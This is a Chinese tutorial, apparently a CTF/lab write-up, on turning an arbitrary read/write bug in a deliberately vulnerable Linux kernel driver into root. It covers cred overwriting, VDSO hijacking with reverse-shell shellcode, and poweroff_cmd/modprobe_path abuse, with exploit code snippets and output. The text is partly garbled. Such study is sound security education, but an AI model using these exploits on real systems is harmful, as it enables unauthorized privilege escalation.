linux内核提权系列教程(2):任意地址读写到提权的4种方法

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说明:实验所需的驱动源码、bzImage、cpio文件见<u>我的github</u>进行下载。本教程适合对漏洞提权有一定了解的同学阅读,具体可以看看我先知之前的文章,或者<u>我的简书</u>从任意地址读写到提权的方法,可以参考<u>【linux内核漏洞利用】StringIPC—从任意读写到权限提升三种方法</u>。

一、漏洞代码分析

代码见arbitrary.h。

1.功能函数介绍

功能	输入结构名		输入结构	功能
ARBITRARY_RW_INIT	init_args	size		初始化全局对象,存于g_mem_buffer。kmalloci grow为1则扩充,为0则缩小。data_size=g_m
ARBITRARY_RW_REALLOC	realloc_args	grow; size;		+ args->size; data=krealloc(g_mem_buffer->data, new_size+1, GFP_KERNEL);
ARBITRARY_RW_READ	read_args	*buff; count;		copy_to_user(buff, g_mem_buffer->data + pos, count);
ARBITRARY_RW_SEEK	seek_args	new_pos;		pos = s_args->new_pos;
ARBITRARY_RW_WRITE	write_args	*buff; count;		copy_from_user(g_mem_buffer->data + pos, w_args->buff, count);

```
全局对象地址存于g_mem_buffer:

// ■■■■

typedef struct mem_buffer {
    size_t data_size;
    char *data;
    loff_t pos;
}mem_buffer;

2. 漏洞分析

static int realloc_mem_buffer(realloc_args *args)
    {
        if(g_mem_buffer == NULL)
            return -EINVAL;
```

```
size_t new_size;
   char *new_data;
    //We can overflow size here by making new_size = -1
       new_size = g_mem_buffer->data_size + args->size;
    else
       new_size = g_mem_buffer->data_size - args->size;
    //{\tt new\_size} \  \, {\tt here will equal 0 krealloc(..., 0) = ZERO\_SIZE\_PTR}
   new_data = krealloc(g_mem_buffer->data, new_size+1, GFP_KERNEL);
    //missing check for return value ZERO_SIZE_PTR
    if(new_data == NULL)
       return -ENOMEM;
   g_mem_buffer->data = new_data;
   g_mem_buffer->data_size = new_size;
   printk(KERN_INFO "[x] g_mem_buffer->data_size = %lu [x]\n", g_mem_buffer->data_size);
   return 0;
}
```

```
Oxffffffffffffffff,读写时只会检查是否满足((count + pos) < g_mem_buffer->data_size)条件,实现任意地址读写。
krealloc源码如下:
// /include/linux/slab.h
#define ZERO_SIZE_PTR ((void *)16)
// /mm/slab_common.c
void *krealloc(const void *p, size_t new_size, gfp_t flags)
  void *ret;
  if (unlikely(!new_size)) {
      kfree(p);
      return ZERO_SIZE_PTR;
  }
  ret = __do_krealloc(p, new_size, flags);
  if (ret && kasan_reset_tag(p) != kasan_reset_tag(ret))
      kfree(p);
  return ret;
//krealloc■■0■■■0x10
read_mem_buffer()函数如下,若满足条件((count + pos) < g_mem_buffer->data_size),则读取内容。若g_mem_buffer->data_size ==
Oxffffffffffffffffff,则无论读取偏移多大,都满足本条件。
static int read_mem_buffer(char __user *buff, size_t count)
  {
      if(g_mem_buffer == NULL)
         return -EINVAL;
      loff_t pos;
      int ret;
      pos = q mem buffer->pos;
      if((count + pos) > g_mem_buffer->data_size)
         return -EINVAL;
      ret = copy_to_user(buff, g_mem_buffer->data + pos, count);
      return ret;
  }
二、漏洞利用
思路:ARBITRARY_RW_REALLOC时,传入负数size,使得new_size == 0xffffffffffffffffffffff/这样返回堆块地址为0x10,达到任意地址读写的目的。
1. 方法一:修改cred结构提权
(1) cred结构体
每个线程在内核中都对应一个线程栈、一个线程结构块thread_info去调度,结构体同时也包含了线程的一系列信息。
thread_info结构体存放位于线程栈的最低地址,对应的结构体定义(\arch\x86\include\asm\thread_info.h 55):
struct thread_info {
  struct task_struct *task;
                               /* main task structure */
                                                                               // <-----
                          /* low level flags */
  __u32
           flags;
                           /* thread synchronous flags */
  __u32
                status;
```

__u32

};

mm_segment_t unsigned int

unsigned int

cpu;

addr_limit;

/* current CPU */

uaccess_err:1; /* uaccess failed */

sig_on_uaccess_error:1;

漏洞:realloc_mem_buffer()中未检查传入变量args->size的正负,可以传入负数。如果通过传入负数,使得new_size==

-1,由于kmalloc(new_size+1),由于kmalloc(0)会返回0x10,这样g_mem_buffer->data == 0x10; g_mem_buffer->data_size ==

```
//
struct task_struct {
  volatile long state; /* -1 unrunnable, 0 runnable, >0 stopped */
   void *stack;
   atomic_t usage;
  unsigned int flags; /* per process flags, defined below */
   unsigned int ptrace;
/* process credentials */
   const struct cred __rcu *ptracer_cred; /* Tracer's credentials at attach */
   const struct cred __rcu *real_cred; /* objective and real subjective task
                      * credentials (COW) */
   const struct cred __rcu *cred; /* effective (overridable) subjective task
                      * credentials (COW) */
   char comm[TASK_COMM_LEN]; /* executable name excluding path
                     - access with [gs]et_task_comm (which lock
                       it with task_lock())
                      - initialized normally by setup_new_exec */
/* file system info */
   struct nameidata *nameidata;
#ifdef CONFIG SYSVIPC
/* ipc stuff */
  struct sysv_sem sysvsem;
   struct sysv_shm sysvshm;
#endif
. . . . . .
其中, cred结构体(\include\linux\cred.h 118)就表示该线程的权限。只要将结构体的uid~fsgid全部覆写为0即可提权该线程(root
uid为0)。前28字节!!!!
struct cred {
   atomic_t
#ifdef CONFIG_DEBUG_CREDENTIALS
  atomic_t subscribers; /* number of processes subscribed */
   void
                *put_addr;
              magic;
   unsigned
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
                        /* real UID of the task */
/* real GID of the task */
  kuid_t
              uid;
               gid;
   kgid_t
  kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
   kernel_cap_t cap_inheritable; /* caps our children can inherit */
                    cap_permitted; /* caps we're permitted */
   kernel_cap_t
                   cap_effective; /* caps we can actually use */
   kernel_cap_t
                    cap_bset; /* capability bounding set */
   kernel_cap_t
   kernel_cap_t cap_ambient;
                                    /* Ambient capability set */
#ifdef CONFIG KEYS
   unsigned char jit_keyring;
                                      /* default keyring to attach requested
                      * keys to */
   struct key __rcu *session_keyring; /* keyring inherited over fork */
   struct key *process_keyring; /* keyring private to this process */
   struct key *thread_keyring; /* keyring private to this thread */
   struct key *request_key_auth; /* assumed request_key authority */
#ifdef CONFIG SECURITY
                *security; /* subjective LSM security */
#endif
   struct user_struct *user; /* real user ID subscription */
   struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
```

```
struct group_info *group_info; /* supplementary groups for euid/fsgid */
                       /* RCU deletion hook */
  struct rcu_head rcu;
};
(2)漏洞利用
思路:利用任意读找到cred结构体,再利用任意写,将用于表示权限的数据位写0,即可提权。
搜索cred结构体:task_struct里有个char
comm[TASK_COMM_LEN];结构,这个结构可通过prctl函数中的PR_SET_NAME功能,设置为一个小于16字节的字符串。
感慨:task_struct这么大,居然能找到这个结构,还能找到prctl能修改该字符串,tql。
PR_SET_NAME (since Linux 2.6.9)
  方法:设定该值作为标记,利用任意读找到该字符串,即可找到task_structure,进而找到cred结构体,再利用任意写提权。
确定爆破范围:task_structure是通过调用kmem_cache_alloc_node()分配的,所以kmem_cache_alloc_node应该存在内核的动态分配区域。(\kernel\fork.c
140)。kernel内存映射
static inline struct task_struct *alloc_task_struct_node(int node)
  return kmem_cache_alloc_node(task_struct_cachep, GFP_KERNEL, node);
根据内存映射图,爆破范围应该在0xffff88000000000~0xffffc80000000000。
(3)整合利用步骤
完整代码见exp_cred.c.
// ■■■ cred■■
  i_args.size=0x100;
  ioctl(fd, ARBITRARY_RW_INIT, &i_args);
  rello_args.grow=0;
  rello_args.size=0x100+1;
  ioctl(fd,ARBITRARY_RW_REALLOC,&rello_args);
  puts("[+] We can read and write any memory! [+]");
  for (size_t addr=START_ADDR; addr<END_ADDR; addr+=0x1000)</pre>
      read_mem(fd,addr,buf,0x1000);
      result=memmem(buf,0x1000,target,16);
      if (result)
         printf("[+] Find try2findmesauce at : %p\n",result);
         cred=*(size_t *)(result-0x8);
         real_cred=*(size_t *)(result-0x10);
         if ((cred || 0xff00000000000000) && (real_cred == cred))
         {
             target_addr=addr+result-(long int)(buf);
             printf("[+] found task_struct 0x%x\n",target_addr);
             printf("[+] found cred 0x%lx\n",real_cred);
             break;
         }
      }
  }
  if (result==0)
  {
      puts("[-] not found, try again! \n");
      exit(-1);
```

成功提权:

// **■■**cred

memset((char *)root_cred,0,28);
write_mem(fd,cred,root_cred,28);

```
/ $ ./exp_cred
[+] We can read and write any memory! [+]
[+] Find try2findmesauce at : 0xd05d80
[+] Find try2findmesauce at : 0xd06488
[+] found task_struct 0xf9dec08
[+] found cred 0xffff88000f9fdd80
[+] Now you are r00t, enjoy your shell
/ # id
uid=0 gid=0 groups=1000
/ # cat /flag
this is a sample flag
/ #
```

2. 方法二: 劫持VDSO

VDSO是内核通过映射方法与用户态共享一块物理内存,从而加快执行效率,也叫影子内存。当在内核态修改内存时,用户态所访问到的数据同样会改变,这样的数据区在用

(1) VDSO介绍

vsyscall和VDSO都是为了避免传统系统调用模式INT

0x80/SYSCALL造成的内核空间和用户空间的上下文切换。vsyscall只允许4个系统调用,且在每个进程中静态分配了相同的地址;VDSO是动态分配的,地址随机,可提供起

VDSO—Virtual Dynamic Shared

Object。本质就是映射到内存中的.so文件,对应的程序可以当普通的.so来使用其中的函数。VDSO所在的页,在内核态是可读、可写的,在用户态是可读、可执行的。

VDSO在每个程序启动的加载过程如下:

```
#0 remap_pfn_range (vma=0xffff880000bba780, addr=140731259371520, pfn=8054, size=4096, prot=...) at mm/memory.c:1737
#1 0xffffffff810041ce in map_vdso (image=0xffffffff81a012c0 <vdso_image_64>, calculate_addr=<optimized out>) at arch/x86/entry/vd
#2 0xfffffff81004267 in arch_setup_additional_pages (bprm=<optimized out>, uses_interp=<optimized out>) at arch/x86/entry/vd
#3 0xfffffff81268b74 in load_elf_binary (bprm=0xffff88000f86cf00) at fs/binfmt_elf.c:1080
```

#4 0xffffffff812136de in search_binary_handler (bprm=0xffff88000f86cf00) at fs/exec.c:1469

在map_vdso中首先查找到一块用户态地址,将该块地址设置为VM_MAYREAD|VM_MAYWRITE|VM_MAYEXEC,利用remap_pfn_range将内核页映射过去。

dump vdso代码:

```
//dump_vdos.c
// settimeofday settimeoffday settimeoffda
```

```
printf("[+]VDSO : %p\n",sysinfo_ehdr);
  printf("[+]The offset of gettimeofday is : %x\n",result-sysinfo_ehdr);
  scanf("Wait! %d", test);
  gdb break point at 0x400A36
  and then dump memory
  why only dump 0x1000 ???
  * /
  if (sysinfo_ehdr!=0){
     for (int i=0;i<0x2000;i+=1){
       printf("%02x ",*(unsigned char *)(sysinfo_ehdr+i));
  }
(2)利用思路
 通过劫持task_prctl,将其修改成为set_memory_rw
 然后传入VDSO的地址,将VDSO修改成为可写的属性。
 用shellcode覆盖部分vDSO (shellcode只为root进程创建反弹shell,可以通过调用
 0x66—sys_getuid系统调用并将其与0进行比较;如果没有root权限,我们继续调用0x60—sys_gettimeofday系统调用。同样在root进程当中,我们不想造成更多的问题
 fork一个子进程, 父进程继续执行sys_gettimeofday, 而由子进程来执行反弹shell。)
 调用gettimeofday函数或通过prtcl的系统调用,让内核调用shellcode提权。
 所用shellcode可见https://gist.github.com/itsZN/1ab36391d1849f15b785(它将连接到127.0.0.1:3333并执行"/bin/sh"),用"nc -I -p 3333
 -v"链接即可; shellcode写到gettimeofday附近,通过dump vDSO确定,本题是0xca0。
(3)整合利用步骤
由于进程不会主动调用gettimeofday来触发shellcode,所以我们自己写一个循环程序,不断调用gettimeofday。
                //sudo_me.c
#include <stdio.h>
int main(){
  while(1){
    puts("111");
    sleep(1);
     gettimeofday();
  }
}
完整exp见exp_VDSO.c.
uid=1000 gid=1000 groups=1000
  $ ./exp VDSO
 +] We can read and write any memory! [+]
     found vdso 0x81e04000
     vdso: 0x8008fe0b
     Shellcode is written into vdso, waiting for reverse shell:
uid=0 gid=0
cat /flag
this is a sample flag
```

3. 方法三: 利用call_usermodehelper()

result=memmem(sysinfo ehdr, 0x1000, "gettimeofday", 12);

(1) call usermodehelper()原理

最初原理可见New Reliable Android Kernel Root Exploitation Techniques。

prctl的原理已在绕过内核SMEP姿势总结与实践中分析过,就不再赘述。

由于prctl第一个参数是int类型,在64位系统中被截断,所以不能正确传参。

```
call_usermodehelper(\kernel\kmod.c
```

603),这个函数可以在内核中直接新建和运行用户空间程序,并且该程序具有root权限,因此只要将参数传递正确就可以执行任意命令(注意命令中的参数要用全路径,不 我们要劫持task_prctl到call_usermoderhelper吗,不是的,因为这里的第一个参数也是64■的,也不能直接劫持过来。但是内核中有些代码片段是调用了Call_use

也就是有些函数从内核调用了用户空间,例如kernel/reboot.c中的__orderly_poweroff函数中调用了run_cmd参数是poweroff_cmd,而且poweroff_cmd是一个全

```
static int __orderly_poweroff(bool force)
{
   int ret;

   ret = run_cmd(poweroff_cmd);

   if (ret && force) {
        pr_warn("Failed to start orderly shutdown: forcing the issue\n");

        /*
        * I guess this should try to kick off some daemon to sync and
        * poweroff asap. Or not even bother syncing if we're doing an
        * emergency shutdown?
        */
        emergency_sync();
        kernel_power_off();
   }

   return ret;
}

static void poweroff_work_func(struct work_struct *work)
{
```

(2)利用步骤

完整利用代码见exp_run_cmd.c.

1. 利用kremalloc的问题, 达到任意地址读写的能力

__orderly_poweroff(poweroff_force);

- 2. 通过快速爆破,泄露出VDSO地址。
- 3. 利用VDSO和kernel_base相差不远的特性,泄露出内核基址。(泄露VDSO是为了泄露内核基址?)
- 4. 篡改prctl的hook为selinux_disable函数的地址
- 5. 调用prctl使得selinux失效 (INetCop Security给出的思路中要求的一步)
- 6. 篡改poweroff_cmd使其等于我们预期执行的命令("/bin/chmod 777 /flag\0")。或者将poweroff_cmd处改为一个反弹shell的binary命令,监听端口就可以拿到shell。
- 7. 篡改prctl的hook为orderly_poweroff
- 8. 调用prctl执行我们预期的命令,达到内核提权的效果。

其中第4、5步是安卓root必须的两步,本题linux环境下不需要。

利用成功截图如下:

```
uid=1000 gid=1000 groups=1000
      ./exp_run_cmd
     We can read and write any memory! [+]
     found vdso 0xfffffffff81e04000
     found kernel_base: 0xffffffff81000000
     found prctl_hook: 0xffffffff81e9bcd8
     found order cmd: 0xffffffff81e4cf40
     found selinux_disable_addr: 0xfffffffff813607f0
     found poweroff_work_addr: 0xffffffff810a7590
uid=0 gid=0
cat /flag
this is a sample flag
(3)总结可劫持的变量
不需要劫持函数虚表,不需要传参数那么麻烦,只需要修改变量即可提权。
1.modprobe_path
// /kernel/kmod.c
char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";
// /kernel/kmod.c
static int call_modprobe(char *module_name, int wait)
 argv[0] = modprobe_path;
 info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
            NULL, free_modprobe_argv, NULL);
 return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
// /kernel/kmod.c
int __request_module(bool wait, const char *fmt, ...)
 ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);
_request_module - try to load a kernel module
```

触发:可通过执行错误格式的elf文件来触发执行modprobe_path指定的文件。

char poweroff_cmd[POWEROFF_CMD_PATH_LEN] = "/sbin/poweroff";

ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);

char uevent_helper[UEVENT_HELPER_PATH_LEN] = CONFIG_UEVENT_HELPER_PATH;

static int init_uevent_argv(struct kobj_uevent_env *env, const char *subsystem)

2.poweroff_cmd

// /kernel/reboot.c

// /kernel/reboot.c

// /kernel/reboot.c

3.uevent_helper

触发: 执行_orderly_poweroff()即可。

// /lib/kobject_uevent.c
#ifdef CONFIG UEVENT HELPER

// /lib/kobject uevent.c

static int run_cmd(const char *cmd)

argv = argv_split(GFP_KERNEL, cmd, NULL);

static int __orderly_poweroff(bool force)
ret = run_cmd(poweroff_cmd);

```
env->argv[0] = uevent_helper;
// /lib/kobject uevent.c
int kobject_uevent_env(struct kobject *kobj, enum kobject_action action,
             char *envp_ext[])
  retval = init_uevent_argv(env, subsystem);
   info = call_usermodehelper_setup(env->argv[0], env->argv,
                       env->envp, GFP KERNEL,
                       NULL, cleanup_uevent_env, env);
.....}
4.ocfs2 hb ctl path
// /fs/ocfs2/stackglue.c
static char ocfs2_hb_ctl_path[OCFS2_MAX_HB_CTL_PATH] = "/sbin/ocfs2_hb_ctl";
// /fs/ocfs2/stackglue.c
static void ocfs2_leave_group(const char *group)
   argv[0] = ocfs2_hb_ctl_path;
   ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
5.nfs_cache_getent_prog
// /fs/nfs/cache_lib.c
static char nfs_cache_getent_prog[NFS_CACHE_UPCALL_PATHLEN] =
               "/sbin/nfs_cache_getent";
// /fs/nfs/cache_lib.c
int nfs_cache_upcall(struct cache_detail *cd, char *entry_name)
   char *argv[] = {
      nfs cache getent prog,
      cd->name,
      entry name,
      NULL
   };
   ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
6.cltrack_prog
// /fs/nfsd/nfs4recover.c
static char cltrack_prog[PATH_MAX] = "/sbin/nfsdcltrack";
// /fs/nfsd/nfs4recover.c
static int nfsd4_umh_cltrack_upcall(char *cmd, char *arg, char *env0, char *env1)
   argv[0] = (char *)cltrack_prog;
   ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
4. 方法四: 劫持tty_struct
找不到mov rsp,rax、mov rsp,[rbx+xx]这样的gadget,有点尴尬。
具体方法还是参考call_usermodehelper提权路径变量总结,其中总结了如何劫持tty_struct中的write和ioctl两种方法。
参考:
https://www.jianshu.com/p/07994f8b2bb0
https://invictus-security.blog/2017/06/
https://github.com/invictus-0x90/vulnerable_linux_driver
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  • 动动手指,沙发就是你的了!
```

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